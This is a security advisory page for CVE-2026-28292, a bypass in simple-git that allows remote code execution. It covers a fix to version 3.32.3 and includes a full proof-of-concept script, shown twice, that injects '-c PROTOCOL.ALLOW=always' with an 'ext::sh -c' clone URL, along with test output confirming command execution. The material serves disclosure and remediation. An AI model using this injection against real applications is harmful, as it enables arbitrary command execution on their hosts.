CVE-2026-28292: Simple git Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-r275-fr43-pm7q
CVSS 9.8
CWE-78 CWE-178
Published
Advisory Summary

CVE-2026-28292 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Simple git libraries in the npm ecosystem. The issue involves simple-git has blockunsafeoperationsplugin bypass via case-insensitive protocol.allow config key enables rce. Remediation is available by upgrading affected packages to version 3.32.3.

CVE-2026-28292 at a Glance

CVE Identifier CVE-2026-28292
GHSA Identifier GHSA-r275-fr43-pm7q
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Simple git
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-28292

To remediate this vulnerability, upgrade all affected Simple git dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

simple-git fixed: 3.32.3
npm install simple-git@3.32.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls simple-git

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-28292, inspect your project dependencies using npm:

npm ls simple-git

Analyze the terminal output to locate any version of Simple git in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.32.3), your application is affected.

Note: The npm ls simple-git command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Simple git, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `blockUnsafeOperationsPlugin` in `simple-git` fails to block git protocol override arguments when the config key is passed in uppercase or mixed case. An attacker who controls arguments passed to git operations can enable the `ext::` protocol by passing `-c PROTOCOL.ALLOW=always`, which executes an arbitrary OS command on the host machine. --- ### Details The `preventProtocolOverride` function in `simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts` (line 24) checks whether a `-c` argument configures `protocol.allow` using this regex: ```ts if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) { return; } ``` This regex is case-sensitive. Git treats config key names case-insensitively — it normalises them to lowercase internally. As a result, passing `PROTOCOL.ALLOW=always`, `Protocol.Allow=always`, or any mixed-case variant is not matched by the regex, the check returns without throwing, and git is spawned with the unsafe argument. **Verification that git normalises the key:** ```bash $ git -c PROTOCOL.ALLOW=always config --list | grep protocol protocol.allow=always ``` **The fix is a single character — add the `/i` flag:** ```ts // Before (vulnerable): if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) { // After (fixed): if (!/^\s*protocol(.[a-z]+)?.allow/i.test(next)) { ``` --- ## poc.js ```js /** * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass * * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check * that blocks `-c protocol.*.allow=always` from being passed to git commands. * The regex is case-sensitive. Git treats config key names case-insensitively. * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely. * * Affected : simple-git >= 3.15.0 (all versions with the fix applied) * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5 * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai) */ const simpleGit = require('simple-git'); const fs = require('fs'); const SENTINEL = '/tmp/pwn-codeant'; // Clean up from any previous run try { fs.unlinkSync(SENTINEL); } catch (_) {} const git = simpleGit(); // ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ──────────────── // This is the exact PoC Snyk used to report CVE-2022-25912. // It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts. git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [ '-c', 'protocol.ext.allow=always', // lowercase — caught by regex ]).catch((e) => { console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created'); console.error(e); }); // ── Bypass — PROTOCOL.ALLOW=always (uppercase) ────────────────────────────── // The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive. // Git normalises config key names to lowercase internally. // Uppercase variant passes the check; git enables ext:: and executes the command. git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [ '-c', 'PROTOCOL.ALLOW=always', // uppercase — NOT caught by regex ]).catch((e) => { console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created'); console.error(e); }); // ── Real-world scenario ────────────────────────────────────────────────────── // An application cloning a legitimate repository with user-controlled customArgs. // Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL. // The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates // but the injected argument enables ext:: and the real URL executes the command instead. // // Legitimate usage (what the app expects): // simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates', // '/tmp/codeant-quality-gates', userArgs) // // Attacker-controlled scenario (what actually runs when args are not sanitised): const LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates'; const CLONE_DEST = '/tmp/codeant-quality-gates'; const SENTINEL_RW = '/tmp/pwn-realworld'; try { fs.unlinkSync(SENTINEL_RW); } catch (_) {} const userArgs = ['-c', 'PROTOCOL.ALLOW=always']; const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2'; simpleGit().clone( attackerURL, // should have been LEGITIMATE_URL CLONE_DEST, userArgs ).catch(() => { console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:', fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created'); }); ``` --- ## Test Results ### Vector 1 — Original CVE-2022-25912 (`protocol.ext.allow=always`, lowercase) **Result: BLOCKED ✅** The original Snyk PoC payload using lowercase `protocol.ext.allow=always` is correctly intercepted by `preventProtocolOverride` before git is invoked. A `GitPluginError` is thrown immediately and the sentinel file is never created. **Output:** ``` ext:: executed:poc not created GitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9) at .../simple-git/dist/cjs/index.js:1266:40 at Array.forEach (<anonymous>) at Object.action (.../simple-git/dist/cjs/index.js:1264:12) at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36) at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) { task: { commands: [ 'clone', '-c', 'protocol.ext.allow=always', 'ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo' ], format: 'utf-8', parser: [Function: parser] }, plugin: 'unsafe' } ``` --- ### Vector 2 — Uppercase bypass (`PROTOCOL.ALLOW=always`) **Result: BYPASSED ⚠️ — RCE confirmed** The `preventProtocolOverride` regex `/^\s*protocol(.[a-z]+)?.allow/` is case-sensitive. `PROTOCOL.ALLOW=always` (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the `ext::` protocol. The injected shell command executes before git errors on the missing repository stream. **Output:** ``` ext:: executed: PWNED — /tmp/pwn-codeant created GitError: Cloning into '/tmp/example-new-repo-2'... fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. at Object.action (.../simple-git/dist/cjs/index.js:1440:25) at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) { task: { commands: [ 'clone', '-c', 'PROTOCOL.ALLOW=always', 'ext::sh -c touch% /tmp/pwn-codeant% >&2', '/tmp/example-new-repo-2' ], format: 'utf-8', parser: [Function: parser] } } ``` `/tmp/pwn-codeant` was created by the git subprocess — command execution confirmed. --- ### Vector 3 — Real-world scenario (target: `https://github.com/CodeAnt-AI/codeant-quality-gates`) **Result: BYPASSED ⚠️ — RCE confirmed** An application passes user-controlled `customArgs` to `simpleGit().clone()`. The attacker injects `PROTOCOL.ALLOW=always` and substitutes a malicious `ext::` URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables `ext::` and executes the payload before the application can detect the failure. **Output:** ``` real-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created ``` `/tmp/pwn-realworld` was created — arbitrary command execution in a realistic application context confirmed. --- ## Summary | # | Vector | Payload | Sentinel file | Result | |---|--------|---------|---------------|--------| | 1 | CVE-2022-25912 original | `protocol.ext.allow=always` (lowercase) | not created | Blocked ✅ | | 2 | Case-sensitivity bypass | `PROTOCOL.ALLOW=always` (uppercase) | `/tmp/pwn-codeant` created | **RCE ⚠️** | | 3 | Real-world app scenario | `PROTOCOL.ALLOW=always` + attacker URL | `/tmp/pwn-realworld` created | **RCE ⚠️** | The case-sensitive regex in `preventProtocolOverride` blocks `protocol.*.allow` but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix. `/tmp/pwned` is created by the git subprocess via the `ext::` protocol. All of the following bypass the check: | Argument passed via `-c` | Regex matches? | Git honours it? | |--------------------------|:--------------:|:---------------:| | `protocol.allow=always` | ✅ blocked | ✅ | | `PROTOCOL.ALLOW=always` | ❌ bypassed | ✅ | | `Protocol.Allow=always` | ❌ bypassed | ✅ | | `PROTOCOL.allow=always` | ❌ bypassed | ✅ | | `protocol.ALLOW=always` | ❌ bypassed | ✅ | --- ### Impact Any application that passes user-controlled values into the `customArgs` parameter of `clone()`, `fetch()`, `pull()`, `push()` or similar `simple-git` methods is vulnerable to arbitrary command execution on the host machine. The `ext::` git protocol executes an arbitrary binary as a remote helper. With `protocol.allow=always` enabled, an attacker can run any OS command as the process user — full read, write and execution access on the host.

CVE-2026-28292 Affected Simple git Versions

1 component(s)
Fixed Versions:
3.32.3
Product / Package Ecosystem Affected Versions Fixed Version
simple-git
npm
≥ 3.15.0
< 3.32.3
3.32.3

References

Frequently Asked Questions

What is CVE-2026-28292?
CVE-2026-28292 is a security vulnerability in Simple git involving simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Simple git versions are affected?
Affected versions include releases prior to 3.32.3 across affected packages: simple-git.
What version fixes CVE-2026-28292?
Upgrading to 3.32.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is simple-git affected?
Yes, simple-git is affected in releases prior to 3.32.3. Upgrade your dependency to 3.32.3 or later.
What is the CVSS score of CVE-2026-28292?
CVE-2026-28292 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-28292?
CVE-2026-28292 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for CVE-2026-28292?
Run the dependency tree command: 'npm ls simple-git'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r275-fr43-pm7q",
  "modified" : "2026-04-14T21:57:58Z",
  "published" : "2026-03-10T18:38:56Z",
  "aliases" : [ "CVE-2026-28292" ],
  "summary" : "simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE",
  "details" : "### Summary\n\nThe `blockUnsafeOperationsPlugin` in `simple-git` fails to block git protocol\noverride arguments when the config key is passed in uppercase or mixed case.\nAn attacker who controls arguments passed to git operations can enable the\n`ext::` protocol by passing `-c PROTOCOL.ALLOW=always`, which executes an\narbitrary OS command on the host machine.\n\n---\n\n### Details\n\nThe `preventProtocolOverride` function in\n`simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts` (line 24)\nchecks whether a `-c` argument configures `protocol.allow` using this regex:\n\n```ts\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n   return;\n}\n```\n\nThis regex is case-sensitive. Git treats config key names\ncase-insensitively — it normalises them to lowercase internally.\nAs a result, passing `PROTOCOL.ALLOW=always`, `Protocol.Allow=always`,\nor any mixed-case variant is not matched by the regex, the check\nreturns without throwing, and git is spawned with the unsafe argument.\n\n**Verification that git normalises the key:**\n\n```bash\n$ git -c PROTOCOL.ALLOW=always config --list | grep protocol\nprotocol.allow=always\n```\n\n**The fix is a single character — add the `/i` flag:**\n\n```ts\n// Before (vulnerable):\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n\n// After (fixed):\nif (!/^\\s*protocol(.[a-z]+)?.allow/i.test(next)) {\n```\n\n---\n\n## poc.js\n\n```js\n/**\n * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass\n *\n * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check\n * that blocks `-c protocol.*.allow=always` from being passed to git commands.\n * The regex is case-sensitive. Git treats config key names case-insensitively.\n * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.\n *\n * Affected : simple-git >= 3.15.0 (all versions with the fix applied)\n * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5\n * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)\n */\n\nconst simpleGit = require('simple-git');\nconst fs = require('fs');\n\nconst SENTINEL = '/tmp/pwn-codeant';\n\n// Clean up from any previous run\ntry { fs.unlinkSync(SENTINEL); } catch (_) {}\n\nconst git = simpleGit();\n\n// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────\n// This is the exact PoC Snyk used to report CVE-2022-25912.\n// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.\ngit.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [\n  '-c', 'protocol.ext.allow=always',   // lowercase — caught by regex\n]).catch((e) => {\n  console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');\n  console.error(e);\n});\n\n// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────\n// The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is case-sensitive.\n// Git normalises config key names to lowercase internally.\n// Uppercase variant passes the check; git enables ext:: and executes the command.\ngit.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [\n  '-c', 'PROTOCOL.ALLOW=always',       // uppercase — NOT caught by regex\n]).catch((e) => {\n  console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');\n  console.error(e);\n});\n\n// ── Real-world scenario ──────────────────────────────────────────────────────\n// An application cloning a legitimate repository with user-controlled customArgs.\n// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.\n// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates\n// but the injected argument enables ext:: and the real URL executes the command instead.\n//\n// Legitimate usage (what the app expects):\n//   simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',\n//                     '/tmp/codeant-quality-gates', userArgs)\n//\n// Attacker-controlled scenario (what actually runs when args are not sanitised):\nconst LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates';\nconst CLONE_DEST     = '/tmp/codeant-quality-gates';\nconst SENTINEL_RW    = '/tmp/pwn-realworld';\ntry { fs.unlinkSync(SENTINEL_RW); } catch (_) {}\n\nconst userArgs   = ['-c', 'PROTOCOL.ALLOW=always'];\nconst attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';\n\nsimpleGit().clone(\n  attackerURL,   // should have been LEGITIMATE_URL\n  CLONE_DEST,\n  userArgs\n).catch(() => {\n  console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',\n    fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');\n});\n```\n\n---\n\n## Test Results\n\n### Vector 1 — Original CVE-2022-25912 (`protocol.ext.allow=always`, lowercase)\n\n**Result: BLOCKED ✅**\n\nThe original Snyk PoC payload using lowercase `protocol.ext.allow=always` is correctly intercepted by `preventProtocolOverride` before git is invoked. A `GitPluginError` is thrown immediately and the sentinel file is never created.\n\n**Output:**\n```\next:: executed:poc not created\nGitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol\n    at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)\n    at .../simple-git/dist/cjs/index.js:1266:40\n    at Array.forEach (<anonymous>)\n    at Object.action (.../simple-git/dist/cjs/index.js:1264:12)\n    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)\n    at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)\n    at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {\n  task: {\n    commands: [\n      'clone',\n      '-c',\n      'protocol.ext.allow=always',\n      'ext::sh -c touch% /tmp/pwn-original% >&2',\n      '/tmp/example-new-repo'\n    ],\n    format: 'utf-8',\n    parser: [Function: parser]\n  },\n  plugin: 'unsafe'\n}\n```\n\n---\n\n### Vector 2 — Uppercase bypass (`PROTOCOL.ALLOW=always`)\n\n**Result: BYPASSED ⚠️ — RCE confirmed**\n\nThe `preventProtocolOverride` regex `/^\\s*protocol(.[a-z]+)?.allow/` is case-sensitive. `PROTOCOL.ALLOW=always` (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the `ext::` protocol. The injected shell command executes before git errors on the missing repository stream.\n\n**Output:**\n```\next:: executed: PWNED — /tmp/pwn-codeant created\nGitError: Cloning into '/tmp/example-new-repo-2'...\nfatal: Could not read from remote repository.\n\nPlease make sure you have the correct access rights\nand the repository exists.\n\n    at Object.action (.../simple-git/dist/cjs/index.js:1440:25)\n    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {\n  task: {\n    commands: [\n      'clone',\n      '-c',\n      'PROTOCOL.ALLOW=always',\n      'ext::sh -c touch% /tmp/pwn-codeant% >&2',\n      '/tmp/example-new-repo-2'\n    ],\n    format: 'utf-8',\n    parser: [Function: parser]\n  }\n}\n```\n\n`/tmp/pwn-codeant` was created by the git subprocess — command execution confirmed.\n\n---\n\n### Vector 3 — Real-world scenario (target: `https://github.com/CodeAnt-AI/codeant-quality-gates`)\n\n**Result: BYPASSED ⚠️ — RCE confirmed**\n\nAn application passes user-controlled `customArgs` to `simpleGit().clone()`. The attacker injects `PROTOCOL.ALLOW=always` and substitutes a malicious `ext::` URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables `ext::` and executes the payload before the application can detect the failure.\n\n**Output:**\n```\nreal-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created\n```\n\n`/tmp/pwn-realworld` was created — arbitrary command execution in a realistic application context confirmed.\n\n---\n\n## Summary\n\n| # | Vector | Payload | Sentinel file | Result |\n|---|--------|---------|---------------|--------|\n| 1 | CVE-2022-25912 original | `protocol.ext.allow=always` (lowercase) | not created | Blocked ✅ |\n| 2 | Case-sensitivity bypass | `PROTOCOL.ALLOW=always` (uppercase) | `/tmp/pwn-codeant` created | **RCE ⚠️** |\n| 3 | Real-world app scenario | `PROTOCOL.ALLOW=always` + attacker URL | `/tmp/pwn-realworld` created | **RCE ⚠️** |\n\nThe case-sensitive regex in `preventProtocolOverride` blocks `protocol.*.allow` but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.\n\n`/tmp/pwned` is created by the git subprocess via the `ext::` protocol.\n\nAll of the following bypass the check:\n\n| Argument passed via `-c` | Regex matches? | Git honours it? |\n|--------------------------|:--------------:|:---------------:|\n| `protocol.allow=always`  | ✅ blocked     | ✅              |\n| `PROTOCOL.ALLOW=always`  | ❌ bypassed    | ✅              |\n| `Protocol.Allow=always`  | ❌ bypassed    | ✅              |\n| `PROTOCOL.allow=always`  | ❌ bypassed    | ✅              |\n| `protocol.ALLOW=always`  | ❌ bypassed    | ✅              |\n\n---\n\n### Impact\n\nAny application that passes user-controlled values into the `customArgs`\nparameter of `clone()`, `fetch()`, `pull()`, `push()` or similar `simple-git`\nmethods is vulnerable to arbitrary command execution on the host machine.\n\nThe `ext::` git protocol executes an arbitrary binary as a remote helper.\nWith `protocol.allow=always` enabled, an attacker can run any OS command\nas the process user — full read, write and execution access on the host.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "simple-git"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.15.0"
      }, {
        "fixed" : "3.32.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/steveukx/git-js/security/advisories/GHSA-r275-fr43-pm7q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28292"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/steveukx/git-js/commit/f7042088aa2dac59e3c49a84d7a2f4b26048a257"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/steveukx/git-js"
  }, {
    "type" : "WEB",
    "url" : "https://www.codeant.ai/security-research/security-research-simple-git-remote-code-execution-cve-2026-28292"
  }, {
    "type" : "WEB",
    "url" : "https://www.codeant.ai/security-research/simple-git-remote-code-execution-cve-2026-28292"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-178", "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-10T18:38:56Z",
    "nvd_published_at" : "2026-03-10T19:17:20Z"
  }
}